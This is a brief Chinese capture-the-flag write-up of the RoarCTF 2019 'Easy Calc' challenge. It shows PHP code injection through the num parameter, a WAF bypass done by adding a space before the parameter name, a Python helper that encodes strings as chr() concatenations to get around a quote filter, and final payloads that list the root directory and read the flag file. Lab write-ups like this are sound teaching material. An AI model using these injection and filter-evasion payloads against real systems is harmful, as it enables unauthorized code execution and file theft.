[RoarCTF 2019]Easy Calc(php任意代码执行)

365 阅读1分钟

image.png 计算器功能

BP抓包,发现了这个网

image.png

image.png

可以在get参数num中塞php代码。后端做了一些过滤。

试试执行代码

image.png

403错误。百度后发现这是因为后端有waf。具体看 blog.csdn.net/weixin_4407…

waf ban掉了字母,num前加一个空格就好了。

image.png

接下来用phpscandir()函数打印根目录(发现根目录下的f1agg文件),然后用file_get_contens()函数拿flag。(这里system函数用不了,应该是ban掉了)

? num=1;var_dump(scandir("/"))
? num=1;var_dump(file_get_contents("f1agg"))

然而引号被ban掉了,可以chr()+.拼接代替字符串。简单写了个字符串转chr().的python脚本

str1="/f1agg"
str2=""
for c in str1:
    a=ord(c)
    str2+="chr(%d)."%a
str2=str2[0:-1]
print(str2)

最终payload:

? num=1;var_dump(scandir(chr(47)))
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

image.png